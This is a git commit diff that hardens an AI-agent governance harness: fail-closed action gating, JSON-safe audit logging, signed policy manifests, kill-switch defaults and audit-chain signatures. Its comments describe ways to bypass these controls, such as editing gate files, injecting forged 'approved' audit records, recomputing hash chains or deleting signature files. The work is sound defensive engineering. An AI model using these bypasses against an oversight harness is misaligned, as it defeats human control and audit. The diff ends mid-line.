feat: plan 16-01
This commit is contained in:
@@ -113,9 +113,22 @@ if re.search(r"\bsudo\b", low):
|
||||
print("ALLOW|ok")
|
||||
PY
|
||||
)"
|
||||
PY_RC=$?
|
||||
|
||||
OUTCOME="${RESULT%%|*}"
|
||||
REASON="${RESULT#*|}"
|
||||
# SEC-04 (H-05): fail CLOSED. Previously, if the classifier crashed / was killed /
|
||||
# produced no output, RESULT was empty, OUTCOME was "", and the final case fell
|
||||
# through to ALLOW (fail-open). Now a non-zero classifier RC, empty output, or an
|
||||
# unrecognized verdict all default to BLOCK — an action is allowed only on an
|
||||
# explicit, recognized ALLOW/WARN/REQUIRE_APPROVAL verdict.
|
||||
if [[ "$PY_RC" -ne 0 || -z "$RESULT" ]]; then
|
||||
OUTCOME="BLOCK"; REASON="classifier_error(rc=$PY_RC)"
|
||||
else
|
||||
OUTCOME="${RESULT%%|*}"; REASON="${RESULT#*|}"
|
||||
fi
|
||||
case "$OUTCOME" in
|
||||
ALLOW|WARN|REQUIRE_APPROVAL|BLOCK) : ;;
|
||||
*) OUTCOME="BLOCK"; REASON="unrecognized_verdict:${OUTCOME:-empty}" ;;
|
||||
esac
|
||||
TS="$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
|
||||
|
||||
# Approval clears REQUIRE_APPROVAL only with an explicit (audited) approver.
|
||||
@@ -150,7 +163,12 @@ case "$EFFECTIVE" in
|
||||
casan_log warn action-gate "ACTION_WARN reason=$REASON"
|
||||
echo "ACTION_GATE outcome=WARN reason=$REASON"
|
||||
exit 0 ;;
|
||||
*)
|
||||
ALLOW)
|
||||
echo "ACTION_GATE outcome=ALLOW reason=$REASON"
|
||||
exit 0 ;;
|
||||
*)
|
||||
# SEC-04: fail-closed default — never ALLOW on an unexpected/empty verdict.
|
||||
casan_log error action-gate "ACTION_GATE_FAILCLOSED outcome=${EFFECTIVE:-empty} reason=$REASON"
|
||||
echo "ACTION_GATE outcome=BLOCK reason=failclosed:${EFFECTIVE:-empty} ($REASON)" >&2
|
||||
exit 2 ;;
|
||||
esac
|
||||
|
||||
@@ -194,13 +194,55 @@ cat > "$TRACE_FILE" <<EOF
|
||||
}
|
||||
EOF
|
||||
|
||||
printf '{"timestamp":"%s","trace_id":"%s","harness":"H6-agentops","agent":"%s","step":"%s","status":"%s","exit_code":%s,"latency_ms":%s,"retry_count":%s,"input_tokens":%s,"output_tokens":%s,"total_tokens":%s,"cost_estimate":%s,"cost_source":"%s","hallucination_signals":%s,"alerts":%s,"input_hash":"%s","output_hash":"%s"}\n' \
|
||||
"$START_TS" "$TRACE_ID" "$AGENT_NAME" "$STEP_NAME" "$STATUS" "$EXIT_CODE" "$LATENCY_MS" "$RETRY_COUNT" "$INPUT_TOKENS" "$OUTPUT_TOKENS" "$TOTAL_TOKENS" "$COST_ESTIMATE" "$COST_SOURCE" "$HALLUCINATION_SIGNALS" "$ALERTS_JSON" "$INPUT_HASH" "$OUTPUT_HASH" >> "$METRICS_LOG"
|
||||
# SEC-05 (M-05): serialize via json.dumps so a crafted AGENT_NAME/STEP_NAME cannot
|
||||
# inject a forged metrics record, and an empty/non-numeric metric can't emit invalid
|
||||
# JSON. String fields are quoted safely; numeric fields are coerced (fail-safe 0).
|
||||
CASAN_AM_HALLU="$HALLUCINATION_SIGNALS" CASAN_AM_ALERTS="$ALERTS_JSON" python - "$METRICS_LOG" \
|
||||
"$START_TS" "$TRACE_ID" "$AGENT_NAME" "$STEP_NAME" "$STATUS" "$EXIT_CODE" "$LATENCY_MS" \
|
||||
"$RETRY_COUNT" "$INPUT_TOKENS" "$OUTPUT_TOKENS" "$TOTAL_TOKENS" "$COST_ESTIMATE" "$COST_SOURCE" \
|
||||
"$INPUT_HASH" "$OUTPUT_HASH" <<'PY'
|
||||
import json, os, sys
|
||||
(log, ts, trace_id, agent, step, status, exit_code, latency, retry,
|
||||
in_tok, out_tok, tot_tok, cost, cost_source, in_hash, out_hash) = sys.argv[1:]
|
||||
def num(x):
|
||||
try: return int(x)
|
||||
except (ValueError, TypeError): pass
|
||||
try: return float(x)
|
||||
except (ValueError, TypeError): return 0
|
||||
def jval(s, default):
|
||||
try: return json.loads(s)
|
||||
except (ValueError, TypeError): return default
|
||||
rec = {"timestamp": ts, "trace_id": trace_id, "harness": "H6-agentops",
|
||||
"agent": agent, "step": step, "status": status,
|
||||
"exit_code": num(exit_code), "latency_ms": num(latency), "retry_count": num(retry),
|
||||
"input_tokens": num(in_tok), "output_tokens": num(out_tok), "total_tokens": num(tot_tok),
|
||||
"cost_estimate": jval(cost, 0), "cost_source": cost_source,
|
||||
"hallucination_signals": jval(os.environ.get("CASAN_AM_HALLU"), 0),
|
||||
"alerts": jval(os.environ.get("CASAN_AM_ALERTS"), []),
|
||||
"input_hash": in_hash, "output_hash": out_hash}
|
||||
# Compact separators to match the original printf layout (regex-parsed downstream).
|
||||
open(log, "a", encoding="utf-8").write(json.dumps(rec, separators=(",", ":")) + "\n")
|
||||
PY
|
||||
|
||||
for alert in "${ALERTS[@]:-}"; do
|
||||
if [[ -n "$alert" ]]; then
|
||||
ALERT_JSON="$(printf '{"timestamp":"%s","trace_id":"%s","severity":"WARN","resource":{"service.name":"%s","service.version":"1.0.0"},"body":{"message":"Alert triggered: %s","alert.type":"%s","step.name":"%s"},"attributes":{"latency_ms":%s,"status":"%s"}}' \
|
||||
"$START_TS" "$TRACE_ID" "$AGENT_NAME" "$alert" "$alert" "$STEP_NAME" "$LATENCY_MS" "$STATUS")"
|
||||
# SEC-05 (M-05): build the alert record with json.dumps (agent/alert/step raw before).
|
||||
ALERT_JSON="$(python - "$START_TS" "$TRACE_ID" "$AGENT_NAME" "$alert" "$STEP_NAME" "$LATENCY_MS" "$STATUS" <<'PY'
|
||||
import json, sys
|
||||
ts, trace_id, agent, alert, step, latency, status = sys.argv[1:]
|
||||
def num(x):
|
||||
try: return int(x)
|
||||
except (ValueError, TypeError):
|
||||
try: return float(x)
|
||||
except (ValueError, TypeError): return 0
|
||||
print(json.dumps({
|
||||
"timestamp": ts, "trace_id": trace_id, "severity": "WARN",
|
||||
"resource": {"service.name": agent, "service.version": "1.0.0"},
|
||||
"body": {"message": f"Alert triggered: {alert}", "alert.type": alert, "step.name": step},
|
||||
"attributes": {"latency_ms": num(latency), "status": status},
|
||||
}, separators=(",", ":")))
|
||||
PY
|
||||
)"
|
||||
printf '%s\n' "$ALERT_JSON" >> "$ALERT_LOG"
|
||||
# Live dispatch (H6-D1): push to the real alert channel when configured.
|
||||
# Delivery failure is queued to the dead-letter file by alert-dispatch.sh.
|
||||
|
||||
@@ -0,0 +1,199 @@
|
||||
#!/usr/bin/env python3
|
||||
"""CASAN Plan-16 SEC-16 (ARCH-01) — signed harness + policy bundle.
|
||||
|
||||
Every gate is bypassable by editing the gate itself: change `security-check.sh`,
|
||||
`prompt-filter.yaml`, `thresholds.yaml`, `model-digest.pin` or `reviewers.registry`
|
||||
and the control is simply gone — no input needed. This binds the harness code +
|
||||
policy files to a manifest whose head is signed with an OFF-REPO key. Before a
|
||||
run, the harness verifies its self-hash against the signed manifest and REFUSES to
|
||||
run on any mismatch (enforced mode). An attacker who edits a gate cannot re-sign
|
||||
the manifest without the off-repo key.
|
||||
|
||||
Usage:
|
||||
bundle-integrity.py generate # hash harness+policy, write + sign manifest
|
||||
bundle-integrity.py verify [--strict] # re-check; exit 1 on drift / bad signature
|
||||
|
||||
Env: CASAN_BUNDLE_ROOT (default .specify), CASAN_BUNDLE_MANIFEST,
|
||||
CASAN_BUNDLE_KEY_DIR, CASAN_BUNDLE_PUB,
|
||||
CASAN_PROFILE=prod / CASAN_VERIFY_STRICT=1 (enforce signature + drift).
|
||||
"""
|
||||
import argparse
|
||||
import fnmatch
|
||||
import glob
|
||||
import hashlib
|
||||
import json
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
# Harness code + policy/data files whose modification would silently disable a
|
||||
# control. Globs are relative to the bundle root (default .specify).
|
||||
INCLUDE_GLOBS = [
|
||||
"scripts/bash/*.sh",
|
||||
"scripts/bash/*.py",
|
||||
"**/prompt-filter.yaml",
|
||||
"**/thresholds.yaml",
|
||||
"**/compression-policy.yaml",
|
||||
"**/*.pin",
|
||||
"**/reviewers.registry",
|
||||
"**/pii-rules.yaml",
|
||||
"**/pii-rules.json",
|
||||
"**/redteam-vectors.yaml",
|
||||
"**/attack-catalog.yaml",
|
||||
]
|
||||
# Never bind volatile artifacts (they change every run) or the manifest itself.
|
||||
EXCLUDE_SUBSTR = ["/logs/", "/output/", "bundle-integrity", "test-integrity"]
|
||||
|
||||
|
||||
def bundle_root() -> str:
|
||||
return os.environ.get("CASAN_BUNDLE_ROOT") or os.path.join(
|
||||
os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "..")), ".specify")
|
||||
|
||||
|
||||
def manifest_path() -> str:
|
||||
return os.environ.get("CASAN_BUNDLE_MANIFEST") or os.path.join(
|
||||
bundle_root(), "level5", "central-governance", "harness-bundle-manifest.json")
|
||||
|
||||
|
||||
def _enforced() -> bool:
|
||||
return os.environ.get("CASAN_PROFILE") == "prod" or os.environ.get("CASAN_VERIFY_STRICT") == "1"
|
||||
|
||||
|
||||
def bundle_files():
|
||||
root = bundle_root()
|
||||
found = set()
|
||||
for pat in INCLUDE_GLOBS:
|
||||
for path in glob.glob(os.path.join(root, pat), recursive=True):
|
||||
if os.path.isfile(path) and not any(s in path.replace(os.sep, "/") for s in EXCLUDE_SUBSTR):
|
||||
found.add(path)
|
||||
return sorted(found)
|
||||
|
||||
|
||||
def hash_file(path) -> str:
|
||||
return hashlib.sha256(open(path, "rb").read()).hexdigest()
|
||||
|
||||
|
||||
def build_manifest():
|
||||
root = bundle_root()
|
||||
files = {os.path.relpath(f, root): hash_file(f) for f in bundle_files()}
|
||||
return {"files": files, "file_count": len(files)}
|
||||
|
||||
|
||||
def manifest_head(manifest) -> str:
|
||||
core = json.dumps(manifest["files"], sort_keys=True, separators=(",", ":"))
|
||||
return hashlib.sha256(core.encode()).hexdigest()
|
||||
|
||||
|
||||
def _priv():
|
||||
d = os.environ.get("CASAN_BUNDLE_KEY_DIR") or os.path.join(os.path.expanduser("~"), ".casan", "audit-keys")
|
||||
return os.path.join(d, "harness-bundle-private.pem")
|
||||
|
||||
|
||||
def _pub():
|
||||
return os.environ.get("CASAN_BUNDLE_PUB") or (manifest_path() + ".pub")
|
||||
|
||||
|
||||
def _sig():
|
||||
return manifest_path() + ".sig"
|
||||
|
||||
|
||||
def _head_file():
|
||||
return manifest_path() + ".head"
|
||||
|
||||
|
||||
def sign(manifest):
|
||||
open(_head_file(), "w", encoding="utf-8").write(manifest_head(manifest))
|
||||
ossl = shutil.which("openssl")
|
||||
if not ossl:
|
||||
return
|
||||
priv, pub = _priv(), _pub()
|
||||
os.makedirs(os.path.dirname(priv), exist_ok=True)
|
||||
if not os.path.isfile(priv):
|
||||
subprocess.run([ossl, "genpkey", "-algorithm", "RSA", "-pkeyopt", "rsa_keygen_bits:2048", "-out", priv],
|
||||
capture_output=True)
|
||||
try:
|
||||
os.chmod(priv, 0o600)
|
||||
except OSError:
|
||||
pass
|
||||
os.makedirs(os.path.dirname(pub) or ".", exist_ok=True)
|
||||
subprocess.run([ossl, "rsa", "-in", priv, "-pubout", "-out", pub], capture_output=True)
|
||||
subprocess.run([ossl, "dgst", "-sha256", "-sign", priv, "-out", _sig(), _head_file()], capture_output=True)
|
||||
|
||||
|
||||
def check_signature(manifest):
|
||||
ossl = shutil.which("openssl")
|
||||
if not (ossl and os.path.isfile(_head_file()) and os.path.isfile(_sig()) and os.path.isfile(_pub())):
|
||||
return "unsigned"
|
||||
if open(_head_file(), encoding="utf-8").read().strip() != manifest_head(manifest):
|
||||
return "invalid"
|
||||
res = subprocess.run([ossl, "dgst", "-sha256", "-verify", _pub(), "-signature", _sig(), _head_file()],
|
||||
capture_output=True)
|
||||
return "signed" if res.returncode == 0 else "invalid"
|
||||
|
||||
|
||||
def do_generate():
|
||||
manifest = build_manifest()
|
||||
os.makedirs(os.path.dirname(manifest_path()), exist_ok=True)
|
||||
with open(manifest_path(), "w", encoding="utf-8") as fh:
|
||||
json.dump(manifest, fh, indent=2)
|
||||
fh.write("\n")
|
||||
sign(manifest)
|
||||
print(f"BUNDLE_INTEGRITY_GENERATED files={manifest['file_count']}")
|
||||
return 0
|
||||
|
||||
|
||||
def do_verify(strict):
|
||||
mp = manifest_path()
|
||||
if not os.path.isfile(mp):
|
||||
# No manifest provisioned. Enforced mode treats this as fail-closed; dev is lax.
|
||||
if strict or _enforced():
|
||||
print("BUNDLE_INTEGRITY_FAIL no_manifest_in_enforced_mode", file=sys.stderr)
|
||||
return 1
|
||||
print("BUNDLE_INTEGRITY_SKIP no manifest (dev)")
|
||||
return 0
|
||||
manifest = json.load(open(mp, encoding="utf-8"))
|
||||
root = bundle_root()
|
||||
stored = manifest.get("files", {})
|
||||
drift = []
|
||||
for rel, want in stored.items():
|
||||
path = os.path.join(root, rel)
|
||||
if not os.path.isfile(path):
|
||||
drift.append(f"{rel}:removed")
|
||||
elif hash_file(path) != want:
|
||||
drift.append(f"{rel}:modified")
|
||||
# A NEW harness script / policy file that is not in the manifest is also drift.
|
||||
current = {os.path.relpath(f, root) for f in bundle_files()}
|
||||
for rel in current - set(stored):
|
||||
drift.append(f"{rel}:unmanifested")
|
||||
|
||||
sig_state = check_signature(manifest)
|
||||
if sig_state == "invalid":
|
||||
print("BUNDLE_INTEGRITY_FAIL manifest_signature_invalid", file=sys.stderr)
|
||||
return 1
|
||||
if sig_state == "unsigned" and (strict or _enforced()):
|
||||
print("BUNDLE_INTEGRITY_FAIL manifest_unsigned_in_enforced_mode", file=sys.stderr)
|
||||
return 1
|
||||
if drift:
|
||||
print("BUNDLE_INTEGRITY_FAIL drift " + " ".join(sorted(drift)[:20]), file=sys.stderr)
|
||||
return 1
|
||||
print(f"BUNDLE_INTEGRITY_OK files={len(stored)} anchor={sig_state}")
|
||||
return 0
|
||||
|
||||
|
||||
def main() -> int:
|
||||
ap = argparse.ArgumentParser()
|
||||
sub = ap.add_subparsers(dest="cmd", required=True)
|
||||
sub.add_parser("generate")
|
||||
v = sub.add_parser("verify")
|
||||
v.add_argument("--strict", action="store_true")
|
||||
args = ap.parse_args()
|
||||
if args.cmd == "generate":
|
||||
return do_generate()
|
||||
if args.cmd == "verify":
|
||||
return do_verify(args.strict)
|
||||
return 2
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -84,8 +84,9 @@ RAW_OUTPUT="$TMP_DIR/raw-output-$TRACE_SUFFIX.txt"
|
||||
casan_log debug harness "action=$ACTION_NAME input=$INPUT_FILE output=$FINAL_OUTPUT key=${IDEMPOTENCY_KEY:0:12}…"
|
||||
|
||||
# C7: honor an engaged kill-switch before doing any work (incident containment).
|
||||
# Opt-in (default off) so the baseline is unchanged; production sets it on.
|
||||
if [[ "${CASAN_KILLSWITCH_ENFORCE:-0}" == "1" ]]; then
|
||||
# Opt-in (default off) so the baseline is unchanged. SEC-17 (ARCH-03): under
|
||||
# CASAN_PROFILE=prod it defaults ON (secure-by-default); an explicit =0 still wins.
|
||||
if [[ "${CASAN_KILLSWITCH_ENFORCE:-0}" == "1" || ( -z "${CASAN_KILLSWITCH_ENFORCE+x}" && "${CASAN_PROFILE:-}" == "prod" ) ]]; then
|
||||
KS_SCOPE="${CASAN_KILLSWITCH_SCOPE:-project}"
|
||||
KS_ID="${CASAN_KILLSWITCH_ID:-${CASAN_PROJECT:-current}}"
|
||||
if ! bash "$SCRIPT_DIR/kill-switch.sh" check "$KS_SCOPE" "$KS_ID" >/dev/null 2>&1; then
|
||||
@@ -96,6 +97,23 @@ if [[ "${CASAN_KILLSWITCH_ENFORCE:-0}" == "1" ]]; then
|
||||
fi
|
||||
fi
|
||||
|
||||
# SEC-16 (ARCH-01): in enforced mode, verify the harness+policy bundle against its
|
||||
# signed manifest and REFUSE to run on any drift — editing a gate/policy is a bypass
|
||||
# that leaves no input trace. Only active when a manifest is provisioned (so dev and
|
||||
# prod-without-a-manifest are unaffected); a present-but-drifted bundle fails closed.
|
||||
if [[ ( "${CASAN_PROFILE:-}" == "prod" || "${CASAN_VERIFY_STRICT:-}" == "1" ) \
|
||||
&& -f "$SCRIPT_DIR/bundle-integrity.py" ]]; then
|
||||
BUNDLE_MANIFEST="${CASAN_BUNDLE_MANIFEST:-$PROJECT_ROOT/.specify/level5/central-governance/harness-bundle-manifest.json}"
|
||||
if [[ -f "$BUNDLE_MANIFEST" ]]; then
|
||||
if ! python "$SCRIPT_DIR/bundle-integrity.py" verify >/dev/null 2>&1; then
|
||||
casan_log error harness "BUNDLE_INTEGRITY_DRIFT — refusing to run $ACTION_NAME (harness/policy modified vs signed manifest)"
|
||||
: > "$FINAL_OUTPUT"
|
||||
echo "BUNDLE_INTEGRITY_DRIFT action=$ACTION_NAME (harness or policy modified vs signed manifest)" >&2
|
||||
exit 2
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
|
||||
run_phase "H4-in" "$SCRIPT_DIR/security-check.sh" "$INPUT_FILE" "$SAFE_INPUT" input
|
||||
run_phase "H5" "$SCRIPT_DIR/governance-check.sh" "$SAFE_INPUT" "$APPROVED_INPUT" "$ACTION_NAME"
|
||||
|
||||
@@ -136,7 +154,8 @@ fi
|
||||
# broken; block enforces (fail-closed) for production/strict runs.
|
||||
TOOL_OUTPUT_SCAN_MODE="${CASAN_TOOL_OUTPUT_SCAN:-}"
|
||||
if [[ -z "$TOOL_OUTPUT_SCAN_MODE" ]]; then
|
||||
if [[ "${CASAN_SECURITY_STRICT:-0}" == "1" ]]; then TOOL_OUTPUT_SCAN_MODE="block"; else TOOL_OUTPUT_SCAN_MODE="warn"; fi
|
||||
# SEC-17/M-02: prod profile defaults tool-output scanning to block (fail-closed).
|
||||
if [[ "${CASAN_SECURITY_STRICT:-0}" == "1" || ( -z "${CASAN_SECURITY_STRICT+x}" && "${CASAN_PROFILE:-}" == "prod" ) ]]; then TOOL_OUTPUT_SCAN_MODE="block"; else TOOL_OUTPUT_SCAN_MODE="warn"; fi
|
||||
fi
|
||||
if [[ "$TOOL_OUTPUT_SCAN_MODE" != "off" ]]; then
|
||||
TOS_RC=0
|
||||
|
||||
@@ -86,6 +86,22 @@ run "phase-selfimprove" bash "$TESTS/phase-selfimprove-tests.sh"
|
||||
run "phase-governance-report" bash "$TESTS/phase-governance-report-tests.sh"
|
||||
run "phase-preflight" bash "$TESTS/phase-preflight-tests.sh"
|
||||
|
||||
# Plan-16 security-audit remediation (P0) — each control has a fail-able test.
|
||||
run "phase-sec01-unsigned-fail" bash "$TESTS/phase-sec01-tests.sh"
|
||||
run "phase-sec02-no-local-key" bash "$TESTS/phase-sec02-tests.sh"
|
||||
run "phase-sec03-rollback-rce" bash "$TESTS/phase-sec03-tests.sh"
|
||||
run "phase-sec04-action-gate" bash "$TESTS/phase-sec04-tests.sh"
|
||||
run "phase-sec05-json-safe" bash "$TESTS/phase-sec05-tests.sh"
|
||||
run "phase-sec06-cp-signed" bash "$TESTS/phase-sec06-tests.sh"
|
||||
run "phase-sec16-bundle" bash "$TESTS/phase-sec16-tests.sh"
|
||||
run "phase-sec17-prod-profile" bash "$TESTS/phase-sec17-tests.sh"
|
||||
run "phase-sec18-test-integrity" bash "$TESTS/phase-sec18-tests.sh"
|
||||
|
||||
# ARCH-02: coverage cannot silently drop; ARCH-01: harness/policy cannot silently
|
||||
# drift. Both SKIP cleanly when no manifest is provisioned (non-strict dev/CI).
|
||||
run "test-integrity" python3 "$SCRIPT_DIR/test-integrity.py" verify
|
||||
run "bundle-integrity" python3 "$SCRIPT_DIR/bundle-integrity.py" verify
|
||||
|
||||
if [[ "${CASAN_CI_RUN_BACKEND:-1}" == "1" ]]; then
|
||||
if command -v npm >/dev/null 2>&1; then
|
||||
run "backend-tests" npm test -w backend
|
||||
|
||||
@@ -15,6 +15,8 @@ import argparse
|
||||
import hashlib
|
||||
import json
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
from datetime import datetime, timezone
|
||||
|
||||
@@ -79,6 +81,79 @@ def append_audit(store, base) -> None:
|
||||
store["audit"].append({**without_hash, "hash": hash_entry(without_hash)})
|
||||
|
||||
|
||||
# --- SEC-06 (H-06): sign the audit-chain HEAD -------------------------------
|
||||
# The hash chain alone is recomputable: a file-writer who edits the store can
|
||||
# recompute every hash and `verify-audit` (chain-only) would still PASS, so
|
||||
# governance-report would falsely report CERTIFIED. Signing the head with an
|
||||
# OFF-REPO private key (pubkey provisioned out-of-band; KMS in prod = SEC-02/16)
|
||||
# means a recompute-attacker without the key cannot forge a matching signature.
|
||||
|
||||
def _enforced() -> bool:
|
||||
return os.environ.get("CASAN_PROFILE") == "prod" or os.environ.get("CASAN_VERIFY_STRICT") == "1"
|
||||
|
||||
|
||||
def _cp_priv() -> str:
|
||||
key_dir = os.environ.get("CASAN_CP_KEY_DIR") or os.path.join(os.path.expanduser("~"), ".casan", "audit-keys")
|
||||
return os.path.join(key_dir, "cp-private.pem")
|
||||
|
||||
|
||||
def _cp_pub() -> str:
|
||||
# Prod provisions this out-of-band (or via KMS). Default is adjacent to the
|
||||
# store for self-contained dev; an attacker who can also rewrite the pubkey is
|
||||
# covered by ARCH-01/SEC-16 (signed harness+policy bundle).
|
||||
return os.environ.get("CASAN_CP_PUB") or (store_path() + ".pub")
|
||||
|
||||
|
||||
def _head_paths():
|
||||
sp = store_path()
|
||||
return sp + ".head", sp + ".head.sig"
|
||||
|
||||
|
||||
def chain_head(store) -> str:
|
||||
return store["audit"][-1]["hash"] if store["audit"] else GENESIS_HASH
|
||||
|
||||
|
||||
def sign_head(store) -> None:
|
||||
head_file, sig_file = _head_paths()
|
||||
head = chain_head(store)
|
||||
with open(head_file, "w", encoding="utf-8") as fh:
|
||||
fh.write(head)
|
||||
ossl = shutil.which("openssl")
|
||||
if not ossl:
|
||||
return # keyless dev: no signature — enforced mode rejects at verify time
|
||||
priv, pub = _cp_priv(), _cp_pub()
|
||||
os.makedirs(os.path.dirname(priv), exist_ok=True)
|
||||
if not os.path.isfile(priv):
|
||||
subprocess.run([ossl, "genpkey", "-algorithm", "RSA", "-pkeyopt", "rsa_keygen_bits:2048",
|
||||
"-out", priv], capture_output=True)
|
||||
try:
|
||||
os.chmod(priv, 0o600)
|
||||
except OSError:
|
||||
pass
|
||||
os.makedirs(os.path.dirname(pub) or ".", exist_ok=True)
|
||||
# Always re-export the pubkey so it matches the signing key (key-sync invariant).
|
||||
subprocess.run([ossl, "rsa", "-in", priv, "-pubout", "-out", pub], capture_output=True)
|
||||
subprocess.run([ossl, "dgst", "-sha256", "-sign", priv, "-out", sig_file, head_file], capture_output=True)
|
||||
|
||||
|
||||
def verify_signature(store):
|
||||
"""Returns state in {'signed','unsigned','invalid'} + a detail string."""
|
||||
head_file, sig_file = _head_paths()
|
||||
pub = _cp_pub()
|
||||
ossl = shutil.which("openssl")
|
||||
if not (ossl and os.path.isfile(head_file) and os.path.isfile(sig_file) and os.path.isfile(pub)):
|
||||
return "unsigned", "missing signature/pubkey/openssl"
|
||||
try:
|
||||
stored_head = open(head_file, encoding="utf-8").read().strip()
|
||||
except OSError:
|
||||
return "invalid", "head-file unreadable"
|
||||
if stored_head != chain_head(store):
|
||||
return "invalid", "head-file != recomputed head (chain recomputed?)"
|
||||
res = subprocess.run([ossl, "dgst", "-sha256", "-verify", pub, "-signature", sig_file, head_file],
|
||||
capture_output=True)
|
||||
return ("signed", "ok") if res.returncode == 0 else ("invalid", "signature verify failed")
|
||||
|
||||
|
||||
def do_set(key, value, actor, reason, approval):
|
||||
policy = SETTINGS_POLICY.get(key)
|
||||
if policy is None:
|
||||
@@ -105,6 +180,7 @@ def do_set(key, value, actor, reason, approval):
|
||||
"actor": actor, "reason": reason, "at": nxt["updatedAt"],
|
||||
})
|
||||
save_store(store)
|
||||
sign_head(store)
|
||||
print(json.dumps(nxt, ensure_ascii=False))
|
||||
return 0
|
||||
|
||||
@@ -131,6 +207,7 @@ def do_rollback(key, actor, reason):
|
||||
"actor": actor, "reason": reason, "at": restored["updatedAt"],
|
||||
})
|
||||
save_store(store)
|
||||
sign_head(store)
|
||||
print(json.dumps(restored, ensure_ascii=False))
|
||||
return 0
|
||||
|
||||
@@ -141,9 +218,17 @@ def verify_audit():
|
||||
for entry in store["audit"]:
|
||||
rest = {k: v for k, v in entry.items() if k != "hash"}
|
||||
if rest.get("prevHash") != prev_hash or hash_entry(rest) != entry["hash"]:
|
||||
return {"ok": False, "brokenAt": entry["seq"]}
|
||||
return {"ok": False, "brokenAt": entry["seq"], "anchor": "chain-broken"}
|
||||
prev_hash = entry["hash"]
|
||||
return {"ok": True, "brokenAt": None}
|
||||
# SEC-06: the chain is recomputable, so require a valid HEAD signature. A
|
||||
# present-but-mismatched signature is always a failure; a MISSING signature
|
||||
# fails only in enforced mode (dev stays permissive for backward compat).
|
||||
sig_state, detail = verify_signature(store)
|
||||
if sig_state == "invalid":
|
||||
return {"ok": False, "brokenAt": None, "anchor": "signature-invalid", "detail": detail}
|
||||
if sig_state == "unsigned" and _enforced():
|
||||
return {"ok": False, "brokenAt": None, "anchor": "unsigned-strict-fail", "detail": detail}
|
||||
return {"ok": True, "brokenAt": None, "anchor": sig_state}
|
||||
|
||||
|
||||
def parse_value(raw):
|
||||
@@ -185,7 +270,7 @@ def main() -> int:
|
||||
print(json.dumps(load_store()["audit"], ensure_ascii=False)); return 0
|
||||
if args.cmd == "verify-audit":
|
||||
verdict = verify_audit()
|
||||
print(f"CP_AUDIT ok={verdict['ok']} brokenAt={verdict['brokenAt']}")
|
||||
print(f"CP_AUDIT ok={verdict['ok']} brokenAt={verdict['brokenAt']} anchor={verdict.get('anchor')}")
|
||||
return 0 if verdict["ok"] else 1
|
||||
if args.cmd == "effective":
|
||||
# Single read path for "effective setting": store value if set, else default.
|
||||
|
||||
@@ -103,6 +103,17 @@ case "$CMD" in
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
# SEC-01 (H-01): enforced mode treats a missing/unverifiable pack signature
|
||||
# as FAIL, otherwise deleting evidence-pack.sig after editing packed files
|
||||
# would still verify as a "valid unsigned" pack.
|
||||
if [[ "${CASAN_PROFILE:-}" == "prod" || "${CASAN_VERIFY_STRICT:-}" == "1" ]]; then
|
||||
MISSING=""
|
||||
[[ -f "$SIG_FILE" ]] || MISSING="$MISSING pack-sig"
|
||||
[[ -f "$AUDIT_PUB" ]] || MISSING="$MISSING pubkey"
|
||||
command -v openssl >/dev/null 2>&1 || MISSING="$MISSING openssl"
|
||||
echo "EVIDENCE_PACK_UNSIGNED_STRICT_FAIL dir=$PACK_DIR missing=${MISSING# }" >&2
|
||||
exit 1
|
||||
fi
|
||||
echo "EVIDENCE_PACK_VALID anchor=unsigned dir=$PACK_DIR"
|
||||
fi
|
||||
;;
|
||||
|
||||
@@ -150,27 +150,37 @@ RECORD_CORE="$(printf '%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s' "$TIMESTAMP" "$TRACE_ID
|
||||
RECORD_HASH="$(printf '%s' "$RECORD_CORE" | hash_text)"
|
||||
|
||||
TRACE_FILE="$TRACE_DIR/governance-$TRACE_ID.json"
|
||||
cat > "$TRACE_FILE" <<EOF
|
||||
{
|
||||
"trace_id": "$TRACE_ID",
|
||||
"timestamp": "$TIMESTAMP",
|
||||
"harness": "H5-governance",
|
||||
"action": "$ACTION_NAME",
|
||||
"actor": "$ACTOR",
|
||||
"risk_level": "$RISK_LEVEL",
|
||||
"decision": "$DECISION",
|
||||
"approval_status": "$APPROVAL_STATUS",
|
||||
"approver": "$APPROVER",
|
||||
"reasons": $REASONS_JSON,
|
||||
"input_hash": "$INPUT_HASH",
|
||||
"output_hash": "$OUTPUT_HASH",
|
||||
"previous_record_hash": "$PREV_HASH",
|
||||
"record_hash": "$RECORD_HASH"
|
||||
# SEC-05 (H-04): serialize both the standalone trace file and the appended audit
|
||||
# chain line via json.dumps. Previously ACTOR/APPROVER/ACTION_NAME were interpolated
|
||||
# raw, so a value containing `"` + newline could inject a SECOND forged audit record
|
||||
# (a fabricated "approved" decision). The record_hash is still computed from
|
||||
# RECORD_CORE above, so verify-audit-chain.sh recomputes and matches unchanged.
|
||||
CASAN_GC_REASONS="$REASONS_JSON" python - "$TRACE_FILE" "$AUDIT_LOG" \
|
||||
"$TIMESTAMP" "$TRACE_ID" "$ACTION_NAME" "$ACTOR" "$RISK_LEVEL" "$DECISION" \
|
||||
"$APPROVAL_STATUS" "$APPROVER" "$INPUT_HASH" "$OUTPUT_HASH" "$PREV_HASH" "$RECORD_HASH" <<'PY'
|
||||
import json, os, sys
|
||||
(trace_file, audit_log, ts, trace_id, action, actor, risk, decision,
|
||||
approval_status, approver, input_hash, output_hash, prev_hash, record_hash) = sys.argv[1:]
|
||||
try:
|
||||
reasons = json.loads(os.environ.get("CASAN_GC_REASONS") or "[]")
|
||||
except ValueError:
|
||||
reasons = []
|
||||
rec = {
|
||||
"timestamp": ts, "trace_id": trace_id, "harness": "H5-governance",
|
||||
"action": action, "actor": actor, "risk_level": risk, "decision": decision,
|
||||
"approval_status": approval_status, "approver": approver,
|
||||
"input_hash": input_hash, "output_hash": output_hash,
|
||||
"previous_record_hash": prev_hash, "record_hash": record_hash,
|
||||
}
|
||||
EOF
|
||||
|
||||
printf '{"timestamp":"%s","trace_id":"%s","harness":"H5-governance","action":"%s","actor":"%s","risk_level":"%s","decision":"%s","approval_status":"%s","approver":"%s","input_hash":"%s","output_hash":"%s","previous_record_hash":"%s","record_hash":"%s"}\n' \
|
||||
